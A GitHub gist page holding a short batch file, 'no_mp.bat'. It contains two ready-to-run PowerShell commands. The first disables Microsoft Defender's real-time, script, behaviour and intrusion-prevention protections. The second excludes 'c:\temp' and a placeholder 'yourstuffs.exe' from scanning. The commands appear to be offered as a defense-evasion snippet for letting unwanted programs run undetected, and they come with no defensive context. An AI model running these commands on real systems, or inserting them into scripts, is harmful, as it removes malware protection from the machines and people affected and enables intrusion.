Skip to content

Instantly share code, notes, and snippets.

@natesubra
Created May 21, 2020 16:10
Show Gist options
  • Select an option

  • Save natesubra/c653cc42d258fbf3b2fd56d33759b79a to your computer and use it in GitHub Desktop.

Select an option

Save natesubra/c653cc42d258fbf3b2fd56d33759b79a to your computer and use it in GitHub Desktop.

Revisions

  1. natesubra created this gist May 21, 2020.
    5 changes: 5 additions & 0 deletions no_mp.bat
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,5 @@
    # disable
    powershell -command 'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true'

    # Or exclude
    powershell -command 'Add-MpPreference -ExclusionPath "c:\temp" -ExclusionProcess "c:\temp\yourstuffs.exe"'